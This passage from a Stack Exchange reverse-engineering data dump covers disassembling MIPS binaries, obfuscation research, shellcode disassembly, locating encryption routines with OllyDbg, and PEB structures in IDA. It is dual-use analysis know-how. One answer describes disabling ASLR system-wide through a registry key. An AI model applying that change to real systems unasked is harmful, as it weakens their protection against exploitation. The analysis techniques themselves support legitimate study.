  <row Id="2586" PostTypeId="1" AcceptedAnswerId="2594" CreationDate="2013-08-05T08:51:07.677" Score="9" ViewCount="2025" Body="&lt;p&gt;You must have heard about it, it all over the on-line newspapers. Some researchers from UCLA claims to have achieved a &lt;a href=&quot;http://newsroom.ucla.edu/portal/ucla/ucla-computer-scientists-develop-247527.aspx&quot;&gt;breakthrough in software obfuscation&lt;/a&gt; through 'mathematical jigsaw puzzles'. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Their &lt;a href=&quot;http://eprint.iacr.org/2013/451.pdf&quot;&gt;scientific paper&lt;/a&gt; can be found on &lt;a href=&quot;http://eprint.iacr.org/2013/451&quot;&gt;IACR eprint website&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone sum-up what is really the content of the paper (and does is really worth it) ?&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2014-06-12T18:33:59.517" Title="What is this 'mathematical jigsaw puzzles' obfuscation?" Tags="|obfuscation|cryptography|whitebox-crypto|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="2587" PostTypeId="1" AcceptedAnswerId="2588" CreationDate="2013-08-05T09:58:08.400" Score="5" ViewCount="5160" Body="&lt;p&gt;I'm trying to load a CGI file to IDA in order to disassemble it and understand it's behaviour but I can't do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to the strings command I can see some interesting words like system, sprintf, etc. And I know it's a MIPS file, But I'm not able to get something comprehensible in IDA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could anyone guide me to achieve this?&#xA;Regards. &lt;/p&gt;&#xA;" OwnerUserId="2197" LastEditorUserId="4212" LastEditDate="2014-06-04T07:30:10.997" LastActivityDate="2014-06-04T07:30:10.997" Title="How to reverse CGI file for MIPS?" Tags="|ida|firmware|radare2|mips|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2588" PostTypeId="2" ParentId="2587" CreationDate="2013-08-05T13:16:44.637" Score="8" Body="&lt;p&gt;Expanding on my comment:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Freeware IDA Pro doesn't support MIPS, so you won't be able to use it. If you can't use the paid versions of IDA, there are &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/1817/is-there-any-disassembler-second-to-ida&quot;&gt;free alternatives&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an example, using &lt;code&gt;radare2&lt;/code&gt; as an example, on the Debian MIPS &lt;code&gt;binutils&lt;/code&gt; port:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ file bin/objdump &#xA;bin/objdump: ELF 32-bit MSB  executable, MIPS, MIPS-II version 1 (SYSV), &#xA;dynamically linked (uses shared libs), for GNU/Linux 2.6.26,&#xA;BuildID[sha1]=d1d228509874377d7339cfd5b2f15db020e53b7b, stripped&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Following &lt;a href=&quot;http://radare.org/y/?p=examples&amp;amp;f=graph&quot; rel=&quot;nofollow noreferrer&quot;&gt;this example&lt;/a&gt;, we get something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00403300]&amp;gt; af@sym.main&#xA;[0x00403300]&amp;gt; ag &amp;gt; foo.dot&#xA;foo.dot created&#xA;[0x00403300]&amp;gt; !dot -Tpdf -o foo.pdf foo.dot&#xA;[0x00403300]&amp;gt; !open foo.pdf&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/f0Goi.png&quot; alt=&quot;Part of the graph&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the PDF this churns out is enormous, so you might want to just use &lt;code&gt;pdf&lt;/code&gt; instead of &lt;code&gt;ag&lt;/code&gt; produce textual output rather than &lt;code&gt;dot&lt;/code&gt; files.&lt;/p&gt;&#xA;" OwnerUserId="24" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2013-08-05T13:44:59.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2590" PostTypeId="1" AcceptedAnswerId="2591" CreationDate="2013-08-05T15:17:50.767" Score="4" ViewCount="4007" Body="&lt;p&gt;What does the dollar symbol mean in&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jz $+2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(This is IDA output.)&lt;/p&gt;&#xA;" OwnerUserId="1449" LastEditorUserId="1485" LastEditDate="2013-08-05T21:38:37.380" LastActivityDate="2013-08-05T21:38:37.380" Title="What does `jz $+2` do? (jump if zero to dollar plus two)" Tags="|disassembly|ida|assembly|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2591" PostTypeId="2" ParentId="2590" CreationDate="2013-08-05T15:39:14.303" Score="12" Body="&lt;p&gt;The dollar symbol in this instance means &quot;current position.&quot; This is the position this instruction begins at, and then plus two bytes. This instruction is two bytes, so it jumps to the next instruction past this one. It's effectively garbage.&lt;/p&gt;&#xA;" OwnerUserId="1548" LastActivityDate="2013-08-05T15:39:14.303" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2592" PostTypeId="2" ParentId="2590" CreationDate="2013-08-05T19:03:19.490" Score="4" Body="&lt;p&gt;Jump two bytes forward from current position when zero flag == NULL &#xA;Opcode for this &lt;code&gt;74 00&lt;/code&gt; which is two bytes &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;seg000:00000000 74 00                    jz      short $+2&#xA;seg000:00000002 74 00                    jz      short $+2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so effectively it will jump to next instruction whether the condition is met or not &#xA;garbage mostly used in obfuscation &lt;/p&gt;&#xA;" OwnerUserId="1924" LastActivityDate="2013-08-05T19:03:19.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2594" PostTypeId="2" ParentId="2586" CreationDate="2013-08-06T16:55:25.927" Score="10" Body="&lt;p&gt;There are three main contributions of the research&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;A proposed indistinguishability obfuscation for NC&lt;sup&gt;1&lt;/sup&gt; circuits where the security is based on the so called &lt;em&gt;Multilinear Jigsaw Puzzles&lt;/em&gt; (a simplified variant of multilinear maps).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Pair the contribution in 1 with Fully Homomorphic Encryption and you get indistinguishability obfuscation for all circuits.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Combine 2 with public key encryption and non-interactive zero-knowledge proofs and you functional encryption for all circuits. I believe that prior to this functional encryption for &lt;strong&gt;all&lt;/strong&gt; circuits was not possible.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So, lets look at these in turn.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Indistinguishability obfuscation&lt;/strong&gt; (contributions 1 and 2)&lt;br&gt;&#xA;From the paper&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;It is important to note that unlike simulation-based definitions of obfuscation, it is not immediately&#xA;  clear how useful indistinguishability obfuscators would be. Perhaps the strongest philosophical justification&#xA;  for indistinguishability obfuscators comes from the work of Goldwasser and Rothblum [GR07], who showed&#xA;  that (efficiently computable) indistinguishability obfuscators achieve the notion of Best-Possible Obfuscation [GR07]: Informally, a best-possible obfuscator guarantees that its output hides as much about the input circuit as any circuit of a certain size.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Thus, the main contributions when it comes to Indistinguishability obfuscation of this paper is to show a construction for IO that works on all circuits, then pair that with a few other things to get functional encryption for any circuits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the usefulness of IOs will only become greater as time goes one. As seen in &lt;a href=&quot;http://eprint.iacr.org/2013/454.pdf&quot; rel=&quot;nofollow&quot;&gt;another paper by some of the same authors&lt;/a&gt; and hopefully they will become more practical as new constructions are proposed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Functional Encryption&lt;/strong&gt; (contribution 3)&lt;br&gt;&#xA;Prior to this work FE has only been possible on small circuits. Using 1 and 2, with some other crypto primitives, the authors were able to build FE on all circuits. That is a very significant result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What does this mean for Anti-RE&lt;/strong&gt;&lt;br&gt;&#xA;It would appear that by itself, indistinguishability obfuscation means very little for anti-reverse engineering. FE on any circuit, however, could be significant. Here is the reason. FE allows for results of a computation to be in plaintext. Compare this with fully homomorphic encryption (FHE) where results will be encrypted or with Multiparty Comptuation were we require multiple parties (but can have plaintext results). Thus, I could give you a key which would allow you to, say, AES decrypt any data I send to you. You would never know the AES key though. There are techniques that also allow you to &lt;a href=&quot;http://eprint.iacr.org/2013/283.pdf&quot; rel=&quot;nofollow&quot;&gt;hide the function&lt;/a&gt; (not just the inputs).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Imagine if you had the ability to allow someone to compute only a specific function(s) on private data that I send you and still get plaintext results. Furthermore, the function is hidden, so they can't reverse engineer the function. That is the contribution of FE, and FE on any circuit is what this work enables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Practicality&lt;/strong&gt;&lt;br&gt;&#xA;From what I see in the paper, contribution 1 could be practical for real world use, though I am not completely sure. Multilinear maps are pretty inefficient at the moment, but the construction used here is somewhat simplified. Since 2 uses FHE, it isn't practical yet. Since 3 uses 2 and some other heavy-weight crypto, it is also, not practical at the time.&lt;/p&gt;&#xA;" OwnerUserId="1854" LastEditorUserId="1854" LastEditDate="2014-06-12T18:33:59.517" LastActivityDate="2014-06-12T18:33:59.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2595" PostTypeId="1" CreationDate="2013-08-06T18:11:27.853" Score="4" ViewCount="1454" Body="&lt;p&gt;I'm trying to recreate some of the 2D capabilities that were demonstrated in cantor.dust, I was wondering if anyone knows how they translate a large file(executable) into a number of different images / a large image that shows different patterns based on the content at different locations of the file&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.reddit.com/r/ReverseEngineering/comments/1izity/cantordust_a_binary_visualization_tool/&quot; rel=&quot;nofollow noreferrer&quot;&gt;link to cantor.dust post&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;currently I have created single 256x256 bitmaps based on hex dumps  from files which conform to the same patterns shown in the cantor.dust Derbycon presentation, but I am unsure how to make one large file into several bitmaps that show the pattern at different parts of the file, e.g. An executable that contains some ascii text would have portions that look like an executable and others that look like ascii text (via the patterns demonstrated in cantor.dust [2D])&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/JnBCq.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;ascii&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated&lt;/p&gt;&#xA;" OwnerUserId="2601" LastEditorUserId="53" LastEditDate="2013-12-03T08:34:28.090" LastActivityDate="2013-12-03T08:34:28.090" Title="Recreating 2D aspects of Cantor.dust" Tags="|binary-analysis|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2596" PostTypeId="1" AcceptedAnswerId="2597" CreationDate="2013-08-06T21:05:43.440" Score="5" ViewCount="1781" Body="&lt;p&gt;How to disassemble first 200 bytes of an executable code using &lt;a href=&quot;https://code.google.com/p/libdasm/&quot; rel=&quot;nofollow&quot;&gt;pydasm library&lt;/a&gt; in Python?&#xA;I want to know how to set size of buffer to disassemble it.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="53" LastEditDate="2017-04-28T12:57:51.573" LastActivityDate="2017-04-28T12:57:51.573" Title="Pydasm: Disassembling limited length executable shellcode" Tags="|disassembly|python|disassemblers|shellcode|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2597" PostTypeId="2" ParentId="2596" CreationDate="2013-08-06T22:53:57.503" Score="10" Body="&lt;p&gt;Slightly modified version from pydasm's &lt;a href=&quot;https://code.google.com/p/libdasm/source/browse/trunk/pydasm/README.txt?r=2&quot;&gt;README.txt&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import pydasm&#xA;import binascii&#xA;&#xA;# Open, and read 200 bytes out of the file,&#xA;# while converting buffer to hex string&#xA;with open('file.bin','r') as f:&#xA;    buffer = binascii.hexlify(f.read(200))&#xA;&#xA;&#xA;# Iterate through the buffer and disassemble &#xA;offset = 0&#xA;while offset &amp;lt; len(buffer):&#xA;   i = pydasm.get_instruction(buffer[offset:], pydasm.MODE_32)&#xA;   print pydasm.get_instruction_string(i, pydasm.FORMAT_INTEL, 0)&#xA;   if not i:&#xA;     break&#xA;   offset += i.length&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;ADDED:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You also can play with &lt;code&gt;seek()&lt;/code&gt; to go to certain position of the file, and then read from there. It is particular useful if you want to read shellcode embedded into some file and you know relative position. You will have to &lt;code&gt;open()&lt;/code&gt; the file with &quot;b&quot; option for it to work. Consult &lt;a href=&quot;http://docs.python.org/release/2.4.4/lib/bltin-file-objects.html&quot;&gt;Python File Object Library Reference&lt;/a&gt; for details.&lt;/p&gt;&#xA;" OwnerUserId="2158" LastEditorUserId="2158" LastEditDate="2013-08-07T13:56:17.087" LastActivityDate="2013-08-07T13:56:17.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2600" PostTypeId="2" ParentId="2570" CreationDate="2013-08-08T15:50:50.697" Score="8" Body="&lt;p&gt;There is clearly not enough of information to get you the exact answer. However, I will try my best to demonstrate logic behind what happens. That in a way might give you an idea how to go about locating the encryption function. I will assume you are using Windows, since it has not being stated otherwise. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main logic of ordinary (and when I say ordinary, I mean there is no deliberate attempt to obfuscate or conceal normal execution flow) server/client TCP/IP network application boils down to the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/A2GY0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is obvious,  &lt;code&gt;Send&lt;/code&gt; and &lt;code&gt;Receive&lt;/code&gt; on both client and server side is where all of the exchange happening. Usually, data will get encrypted by one side (client or server). Shortly thereafter, it will get transmitted to the other side. Other side will receive the data and decrypt it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;data -&amp;gt; encrypt -&amp;gt; send &amp;lt;----&amp;gt; receive -&amp;gt; decrypt -&amp;gt; data&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In order to find a function that performs encryption, you need to locate &lt;code&gt;send()&lt;/code&gt; function, determine location of the buffer being sent, go back and see what function sets(creates/modifies) that particular buffer location. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;OllyDbg comes with some features that particularly useful in this situation. Firstly, we need to find all &lt;code&gt;send()&lt;/code&gt; and &lt;code&gt;receive()&lt;/code&gt; functions. We will search for &lt;em&gt;intermodular calls&lt;/em&gt;. In disassembly window right click somewhere to bring up the following menu: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/erK0S.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select &lt;code&gt;Search For -&amp;gt; All Intermodular Calls&lt;/code&gt;. It will bring up the window with all of the calls found. We specifically are looking for &lt;code&gt;WS2_32.recv&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aoTI2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set breakpoint on the function by pressing &lt;kbd&gt;F2&lt;/kbd&gt;. Run the binary. Whenever &lt;code&gt;WS2_32.recv&lt;/code&gt; breakpoint hits you can examine the stack window and determine location of the buffer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hHXZC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We can see, that our buffer is at location &lt;code&gt;0x001CFBB0&lt;/code&gt; with the size of the buffer at &lt;code&gt;0x80&lt;/code&gt;, which is 128 bytes. Let's go to to the buffer location by pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;G&lt;/kbd&gt; and typing location. We get our buffer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KYPie.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, you need to step through and see whatever happens to that buffer, and data. I would assume one of the next function will try to decrypt it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The logic is in reverse(encrypt -&gt; send) for sending stuff out. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best of luck.&lt;/p&gt;&#xA;" OwnerUserId="2158" LastEditorUserId="2158" LastEditDate="2013-08-08T15:58:12.613" LastActivityDate="2013-08-08T15:58:12.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2601" PostTypeId="2" ParentId="2536" CreationDate="2013-08-08T19:56:07.717" Score="3" Body="&lt;p&gt;What the other posters are talking about are general methods for making a DLL always load at a particular address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For what you want to do -- &lt;em&gt;which is ensure that the absolute addresses are always relevant, vs module + offset&lt;/em&gt; -- is straightforward to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can load the binary on a Windows XP system, it is completely unaware of ASLR.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternately, you can completely disable ASLR, which will ensure that modules will always be loaded at their preferred address.  This setting is controlled via &lt;code&gt;HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\MoveImages&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if the preferred address is unavailable, Windows will load it somewhere else.  If you run into this issue, I recommend modifying the preferred base address manually.  A good hex editor will allow you to do this.&lt;/p&gt;&#xA;" OwnerUserId="264" LastEditorUserId="53" LastEditDate="2014-04-22T12:27:35.543" LastActivityDate="2014-04-22T12:27:35.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2602" PostTypeId="2" ParentId="2321" CreationDate="2013-08-08T20:01:55.303" Score="1" Body="&lt;p&gt;I don't think that this can be done, with the IDA API.  Your best bet would be to ping Chris Eagle (the author of the IDA Pro book) or Ilfak (the author of IDA Pro) and ask.  I'm 95% sure you can't do this.&lt;/p&gt;&#xA;" OwnerUserId="264" LastActivityDate="2013-08-08T20:01:55.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2603" PostTypeId="1" CreationDate="2013-08-09T13:27:04.537" Score="11" ViewCount="9657" Body="&lt;p&gt;What tools produce C code that does not produce errors when you try to recompile it again? Can Hex-Rays decompiler convert everything to project files in a single folder and just compile it?&lt;/p&gt;&#xA;" OwnerUserId="2466" LastEditorUserId="1490" LastEditDate="2013-08-09T13:59:12.370" LastActivityDate="2023-08-11T21:36:20.690" Title="Decompile and recompile C?" Tags="|c|decompile|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2605" PostTypeId="2" ParentId="2603" CreationDate="2013-08-09T15:14:51.820" Score="5" Body="&lt;p&gt;The primary purpose of &lt;a href=&quot;http://www.debugmode.com/dcompile/&quot; rel=&quot;noreferrer&quot;&gt;decompilation&lt;/a&gt; is not to produce code that is compiled back with no errors, but rather recover logical flow of a binary. Hex-Ras Decompiler comes with its own set of limitation noted in &lt;a href=&quot;https://www.hex-rays.com/products/decompiler/manual/limit.shtml&quot; rel=&quot;noreferrer&quot;&gt;Hex-Rays Decompiler Manual&lt;/a&gt;, to mention few:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Below are the most important limitations of our decompilers (all processors):&#xA;     * exception handling is not supported&#xA;     * type recovery is not performed&#xA;     * global program analysis is not performed&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2158" LastActivityDate="2013-08-09T15:14:51.820" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2606" PostTypeId="1" CreationDate="2013-08-09T15:15:13.657" Score="4" ViewCount="629" Body="&lt;p&gt;The Hex-rays decompiler demo video shows that you can select what to replace Windows magic variables (1,2,3, etc) with:&#xA;&lt;a href=&quot;http://www.ccso.com/files/hexraysdemo.swf&quot; rel=&quot;nofollow&quot;&gt;http://www.ccso.com/files/hexraysdemo.swf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But how do you know what the numbers should be replaced with in the first place?&lt;/p&gt;&#xA;" OwnerUserId="2466" LastActivityDate="2013-08-09T17:00:38.000" Title="Hex-Rays Decompiler: Which magic variable to select?" Tags="|ida|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2607" PostTypeId="2" ParentId="2606" CreationDate="2013-08-09T16:13:37.580" Score="4" Body="&lt;p&gt;Those magic numbers are Enums &#xA;since these are window Api you can either look them up in &lt;code&gt;include files&lt;/code&gt; or look up the function in MSDN documentation online&lt;/p&gt;&#xA;&#xA;&lt;p&gt;take the first example DllEntryPoint which typically is a wrong name by Ida (it should be DllMain)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;google DllMain site:msdn.microsoft.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;first page first hit  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/ms682583%28v=vs.85%29.aspx&quot; rel=&quot;nofollow&quot;&gt;http://msdn.microsoft.com/en-us/library/windows/desktop/ms682583%28v=vs.85%29.aspx&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see it is documented as &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;BOOL WINAPI DllMain(&#xA;  _In_  HINSTANCE hinstDLL,&#xA;  _In_  DWORD fdwReason,&#xA;  _In_  LPVOID lpvReserved&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the second parameter command is documented to contain &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;fdwReason [in]&#xA;&#xA;    The reason code that indicates why the DLL entry-point function is being called. This parameter can be one of the following values.&#xA;    Value   Meaning&#xA;&#xA;    DLL_PROCESS_ATTACH&#xA;    1&#xA;    DLL_PROCESS_DETACH&#xA;    0&#xA;    DLL_THREAD_ATTACH&#xA;    2 &#xA;    DLL_THREAD_DETACH&#xA;    3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;there you have the magic numbers&#xA;in this specific case the document also contains the 1,2,3&#xA;but if the document didn't contain the values&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you have to look into include files in sdk or wdk as the case may be&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this specific magic number is defined in winnt.h in platform sdk &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\Program Files\Microsoft SDKs\Windows\v7.1\Include&amp;gt;pss DLL_THREAD_DETACH&#xA;&#xA;C:\Program Files\Microsoft SDKs\Windows\v7.1\Include&amp;gt;python c:\python27\scripts\&#xA;pss -i DLL_THREAD_DETACH&#xA;.\WinNT.h&#xA;13666:#define DLL_THREAD_DETACH    3&#xA;&#xA;&#xA;C:\Program Files\Microsoft SDKs\Windows\v7.1\Include&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;each function will have parameters and each parameter can contain certain values&#xA;and if the parameter is not opaque then it will have documentation of the parameters in &#xA;MSDN help&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you need to read the documentation of the function its parameters and decide what those magic numbers are to be replaced with up&lt;/p&gt;&#xA;&#xA;&lt;p&gt;second example OpenMutex()&lt;/p&gt;&#xA;&#xA;&lt;p&gt;msdn shows that the parameter documentation as&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Parameters&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dwDesiredAccess [in]&#xA;&#xA;    The access to the mutex object. Only the SYNCHRONIZE access right is required to use a mutex; to change the mutex's security, specify MUTEX_ALL_ACCESS. The function fails if the security descriptor of the specified object does not permit the requested access for the calling process. For a list of access rights, see Synchronization Object Security and Access Rights.  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;follow the list of access right link to see what is the value of MUTEX_ALL_ACCESS &lt;/p&gt;&#xA;&#xA;&lt;p&gt;or check include file for the trail&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\Program Files\Microsoft SDKs\Windows\v7.1\Include&amp;gt;python c:\python27\scripts\&#xA;pss -i mutex_all_access&#xA;.\WinBase.h&#xA;560:#define MUTEX_ALL_ACCESS MUTANT_ALL_ACCESS&#xA;&#xA;&#xA;C:\Program Files\Microsoft SDKs\Windows\v7.1\Include&amp;gt;pss mutant_all_access&#xA;&#xA;C:\Program Files\Microsoft SDKs\Windows\v7.1\Include&amp;gt;python c:\python27\scripts\&#xA;pss -i mutant_all_access&#xA;.\WinBase.h&#xA;560:#define MUTEX_ALL_ACCESS MUTANT_ALL_ACCESS&#xA;&#xA;.\WinNT.h&#xA;8557:#define MUTANT_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|\&#xA;&#xA;&#xA;C:\Program Files\Microsoft SDKs\Windows\v7.1\Include&amp;gt;grep -i mutant_all_access -&#xA;A 3 -B 3 WinNT.h&#xA;&#xA;#define MUTANT_QUERY_STATE      0x0001&#xA;&#xA;#define MUTANT_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|\&#xA;                          MUTANT_QUERY_STATE)&#xA;&#xA;#define SEMAPHORE_MODIFY_STATE      0x0002&#xA;&#xA;C:\Program Files\Microsoft SDKs\Windows\v7.1\Include&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1924" LastEditorUserId="1924" LastEditDate="2013-08-09T17:00:38.000" LastActivityDate="2013-08-09T17:00:38.000" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2610" PostTypeId="1" AcceptedAnswerId="2612" CreationDate="2013-08-10T00:42:12.860" Score="8" ViewCount="5760" Body="&lt;p&gt;When reversing shellcode, we see the PEB walk fairly often at various stages. I am curious however, if there is any pre-defined standard structure for this in IDA? If so, what is it called? After looking and googling around I haven't been able to find anything. I would also be very interested in definitions for PEB_LDR_DATA and RTL_USER_PROCESS_PARAMETERS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could create them myself and export them somehow (would have to figure out how). But before doing that I am really curious if there is just something I am missing amongst the standard structure definitions in IDA.&lt;/p&gt;&#xA;" OwnerUserId="2017" LastEditorUserId="189" LastEditDate="2013-08-10T17:11:11.223" LastActivityDate="2013-08-11T10:53:35.230" Title="Structure Definitions for PEB in IDA" Tags="|ida|shellcode|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2612" PostTypeId="2" ParentId="2610" CreationDate="2013-08-10T03:54:41.943" Score="9" Body="&lt;p&gt;The structures for the PEB are &lt;strong&gt;_PEB&lt;/strong&gt; and &lt;strong&gt;PEB_LDR_DATA&lt;/strong&gt;. You need to have the &lt;strong&gt;ntapi&lt;/strong&gt; type library loaded, you can add it by going in the &lt;strong&gt;Type Libraries&lt;/strong&gt; view (&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;F11&lt;/kbd&gt;) and then press &lt;kbd&gt;Ins&lt;/kbd&gt;.&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="245" LastEditDate="2013-08-10T16:50:38.443" LastActivityDate="2013-08-10T16:50:38.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2613" PostTypeId="2" ParentId="2610" CreationDate="2013-08-10T07:43:08.597" Score="6" Body="&lt;p&gt;if you are using &lt;code&gt;IDA FREE&lt;/code&gt; then this and several other type libraries are not available &lt;/p&gt;&#xA;&#xA;&lt;p&gt;and if you intend to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;create them yourself and export them somehow (would have to figure out how). &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this walk through provides few hints on how to accomplish it&lt;/p&gt;&#xA;&#xA;&lt;p&gt;os winxp sp3 vm &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(all opaque structures like EPROCESS can vary from os to os / hotfix to hotfix patch tuesday to patch tuesday )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;supposing you are reversing PsGetProcessId() in ntkrnlpa.exe &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                  ; Exported entry 872. PsGetProcessId    &#xA;                  ; Attributes: bp-based frame    &#xA;                  